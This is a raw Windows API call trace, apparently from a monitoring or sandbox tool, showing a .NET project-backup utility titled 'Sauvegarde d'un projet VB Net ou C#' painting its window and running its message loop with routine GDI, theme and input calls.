2 [0251.036] GetNearestColor (hdc=0x370101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.036] CreateSolidBrush (color=0xf0f0f0) returned 0x3c1006a2 [0251.036] FillRect (hDC=0x370101a0, lprc=0x2bdf94, hbr=0x3c1006a2) returned 1 [0251.036] DeleteObject (ho=0x3c1006a2) returned 1 [0251.036] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.036] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0251.037] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.037] GetSystemMetrics (nIndex=42) returned 0 [0251.037] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.037] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0251.037] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0251.037] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.037] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.037] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.037] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.037] SaveDC (hdc=0x370101a0) returned 2 [0251.037] GetNearestColor (hdc=0x370101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.037] CreateSolidBrush (color=0xf0f0f0) returned 0x3d1006a2 [0251.037] FillRect (hDC=0x370101a0, lprc=0x2bdf34, hbr=0x3d1006a2) returned 1 [0251.037] DeleteObject (ho=0x3d1006a2) returned 1 [0251.037] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.037] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0251.037] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.037] GetSystemMetrics (nIndex=42) returned 0 [0251.037] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.037] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0251.037] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.037] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.037] IsAppThemed () returned 0x1 [0251.037] GetThemeAppProperties () returned 0x3 [0251.037] GetThemeAppProperties () returned 0x3 [0251.037] IsAppThemed () returned 0x1 [0251.037] GetThemeAppProperties () returned 0x3 [0251.037] GetThemeAppProperties () returned 0x3 [0251.037] IsThemePartDefined () returned 0x1 [0251.037] GdipCreateRegion (region=0x2be428) returned 0x0 [0251.038] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0251.038] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0251.038] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0251.038] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0251.038] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.038] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0251.038] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.038] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.038] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0251.038] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.038] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0251.038] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0251.038] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0251.038] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0251.038] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0251.038] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0251.038] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.038] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.038] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.038] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.038] SaveDC (hdc=0x370101a0) returned 1 [0251.038] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7d0401eb [0251.038] GetClipRgn (hdc=0x370101a0, hrgn=0x7d0401eb) returned 0 [0251.038] SelectClipRgn (hdc=0x370101a0, hrgn=0x79040789) returned 2 [0251.038] DeleteObject (ho=0x7d0401eb) returned 1 [0251.039] DeleteObject (ho=0x79040789) returned 1 [0251.039] OffsetViewportOrgEx (in: hdc=0x370101a0, x=0, y=0, lppt=0x26d4420 | out: lppt=0x26d4420) returned 1 [0251.039] IsAppThemed () returned 0x1 [0251.039] GetThemeAppProperties () returned 0x3 [0251.039] GetThemeAppProperties () returned 0x3 [0251.039] DrawThemeBackground () returned 0x0 [0251.039] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.039] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.039] GdipCreateRegion (region=0x2be410) returned 0x0 [0251.039] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0251.039] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0251.039] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0251.039] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0251.039] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.039] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0251.039] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.039] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0251.039] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0251.039] LocalFree (hMem=0x5fd4d0) returned 0x0 [0251.039] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0251.039] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0251.039] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0251.039] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0251.039] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0251.039] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0251.039] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.039] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.040] SaveDC (hdc=0x370101a0) returned 1 [0251.040] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7a040789 [0251.040] GetClipRgn (hdc=0x370101a0, hrgn=0x7a040789) returned 0 [0251.040] SelectClipRgn (hdc=0x370101a0, hrgn=0x7e0401eb) returned 2 [0251.040] DeleteObject (ho=0x7a040789) returned 1 [0251.040] DeleteObject (ho=0x7e0401eb) returned 1 [0251.040] OffsetViewportOrgEx (in: hdc=0x370101a0, x=0, y=0, lppt=0x26d46f4 | out: lppt=0x26d46f4) returned 1 [0251.040] IsAppThemed () returned 0x1 [0251.040] GetThemeAppProperties () returned 0x3 [0251.040] GetThemeAppProperties () returned 0x3 [0251.040] GetThemeBackgroundContentRect () returned 0x0 [0251.040] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.040] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.040] IsAppThemed () returned 0x1 [0251.040] GetThemeAppProperties () returned 0x3 [0251.040] GetThemeAppProperties () returned 0x3 [0251.040] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0251.040] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x1) returned 0x1b00017 [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x2) returned 0x1900010 [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x7) returned 0x210506ba [0251.040] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.040] SaveDC (hdc=0x370101a0) returned 1 [0251.040] GetTextAlign (hdc=0x370101a0) returned 0x0 [0251.040] GetTextColor (hdc=0x370101a0) returned 0x0 [0251.041] GetCurrentObject (hdc=0x370101a0, type=0x6) returned 0x18a002e [0251.041] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0251.041] SelectObject (hdc=0x370101a0, h=0x90a01e9) returned 0x18a002e [0251.041] GetBkMode (hdc=0x370101a0) returned 2 [0251.041] SetBkMode (hdc=0x370101a0, mode=1) returned 2 [0251.041] DrawTextExW (in: hdc=0x370101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x26d4a88 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0251.041] DrawTextExW (in: hdc=0x370101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x26d4a88 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0251.041] RestoreDC (hdc=0x370101a0, nSavedDC=-1) returned 1 [0251.041] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.041] GetFocus () returned 0x1019c [0251.041] IsAppThemed () returned 0x1 [0251.041] GetThemeAppProperties () returned 0x3 [0251.041] GetThemeAppProperties () returned 0x3 [0251.041] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0251.041] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x370101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0251.041] GdipReleaseDC (graphics=0x4ae5320, hdc=0x370101a0) returned 0x0 [0251.042] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0251.042] SelectObject (hdc=0x370101a0, h=0x185000f) returned 0x210506ba [0251.042] DeleteDC (hdc=0x370101a0) returned 1 [0251.042] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0251.042] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0251.042] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.042] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.042] WaitMessage () returned 1 [0251.139] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.139] IsWindowUnicode (hWnd=0x20152) returned 1 [0251.139] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.139] TranslateMessage (lpMsg=0x2bec18) returned 0 [0251.139] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.139] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.139] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.139] WaitMessage () returned 1 [0251.349] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.350] IsWindowUnicode (hWnd=0x1019e) returned 1 [0251.350] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0251.350] TranslateMessage (lpMsg=0x2bec18) returned 0 [0251.350] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0251.350] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.350] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0251.350] WaitMessage () returned 1 [0252.262] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.262] IsWindowUnicode (hWnd=0x1019c) returned 1 [0252.262] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.262] GetKeyState (nVirtKey=16) returned 0 [0252.262] GetKeyState (nVirtKey=17) returned 0 [0252.262] GetKeyState (nVirtKey=18) returned -128 [0252.262] SendMessageW (hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0252.262] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0252.262] GetKeyState (nVirtKey=16) returned 0 [0252.262] GetKeyState (nVirtKey=17) returned 0 [0252.262] GetKeyState (nVirtKey=18) returned -128 [0252.263] TranslateMessage (lpMsg=0x2bec18) returned 1 [0252.263] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0252.263] GetKeyState (nVirtKey=16) returned 0 [0252.263] GetKeyState (nVirtKey=17) returned 0 [0252.263] GetKeyState (nVirtKey=18) returned -128 [0252.263] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0252.263] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.263] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.263] WaitMessage () returned 1 [0252.272] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.272] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0252.272] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.272] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0252.600] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0252.600] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0252.601] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0252.601] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0252.601] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0252.601] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0252.602] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0252.616] NtdllDefWindowProc_W () returned 0x0 [0252.617] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0252.617] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0252.617] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0252.617] GetCapture () returned 0x0 [0252.617] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0252.617] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0252.617] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0252.617] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0252.617] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.617] IsWindowUnicode (hWnd=0x1019c) returned 1 [0252.617] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.617] TranslateMessage (lpMsg=0x2bec18) returned 0 [0252.617] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0252.617] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x100107ec [0252.617] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0252.617] CreateCompatibleDC (hdc=0x100107ec) returned 0x4a0101a0 [0252.618] SelectObject (hdc=0x4a0101a0, h=0x210506ba) returned 0x185000f [0252.618] GdipCreateFromHDC (hdc=0x4a0101a0, graphics=0x2be714) returned 0x0 [0252.618] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0252.618] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0252.618] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0252.618] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0252.618] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0252.618] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.618] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0252.618] LocalFree (hMem=0x5fd508) returned 0x0 [0252.618] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0252.618] GdipCreateRegion (region=0x2be75c) returned 0x0 [0252.618] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0252.618] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0252.618] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0252.618] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd8b0dbd) returned 0x0 [0252.618] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0252.618] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0252.618] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.618] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.618] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.619] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.619] SaveDC (hdc=0x4a0101a0) returned 1 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0x696969) returned 0x696969 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0x0) returned 0x0 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xffffff) returned 0xffffff [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xe5e5e5) returned 0xe5e5e5 [0252.619] GetNearestColor (hdc=0x4a0101a0, color=0xd7d7d7) returned 0xd7d7d7 [0252.620] GetNearestColor (hdc=0x4a0101a0, color=0x0) returned 0x0 [0252.620] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.620] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x24f6d44 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetFocus () returned 0x0 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] IsThemePartDefined () returned 0x1 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0252.620] IsAppThemed () returned 0x1 [0252.620] GetThemeAppProperties () returned 0x3 [0252.620] GetThemeAppProperties () returned 0x3 [0252.621] IsAppThemed () returned 0x1 [0252.621] GetThemeAppProperties () returned 0x3 [0252.621] GetThemeAppProperties () returned 0x3 [0252.621] IsThemePartDefined () returned 0x1 [0252.621] GdipCreateRegion (region=0x2be484) returned 0x0 [0252.621] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0252.621] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0252.621] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0252.621] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0252.621] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.621] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0252.621] LocalFree (hMem=0x5fd508) returned 0x0 [0252.621] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.621] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0252.621] LocalFree (hMem=0x5fd508) returned 0x0 [0252.621] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0252.621] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0252.621] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0252.621] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0252.621] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0252.621] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0252.621] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.621] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.621] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.621] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.622] SaveDC (hdc=0x4a0101a0) returned 1 [0252.622] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7f0401eb [0252.622] GetClipRgn (hdc=0x4a0101a0, hrgn=0x7f0401eb) returned 0 [0252.622] SelectClipRgn (hdc=0x4a0101a0, hrgn=0x81040789) returned 2 [0252.622] DeleteObject (ho=0x7f0401eb) returned 1 [0252.622] DeleteObject (ho=0x81040789) returned 1 [0252.622] OffsetViewportOrgEx (in: hdc=0x4a0101a0, x=0, y=0, lppt=0x24f7afc | out: lppt=0x24f7afc) returned 1 [0252.622] DrawThemeParentBackground () returned 0x0 [0252.622] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0252.622] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0252.622] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0252.622] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.622] GetSystemMetrics (nIndex=42) returned 0 [0252.622] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.622] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0252.622] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0252.622] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.622] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.622] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.622] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.622] SaveDC (hdc=0x4a0101a0) returned 2 [0252.623] GetNearestColor (hdc=0x4a0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.623] CreateSolidBrush (color=0xf0f0f0) returned 0x3e1006a2 [0252.623] FillRect (hDC=0x4a0101a0, lprc=0x2bdf94, hbr=0x3e1006a2) returned 1 [0252.623] DeleteObject (ho=0x3e1006a2) returned 1 [0252.623] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.623] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0252.623] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.623] GetSystemMetrics (nIndex=42) returned 0 [0252.623] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.623] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0252.623] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0252.623] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.623] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 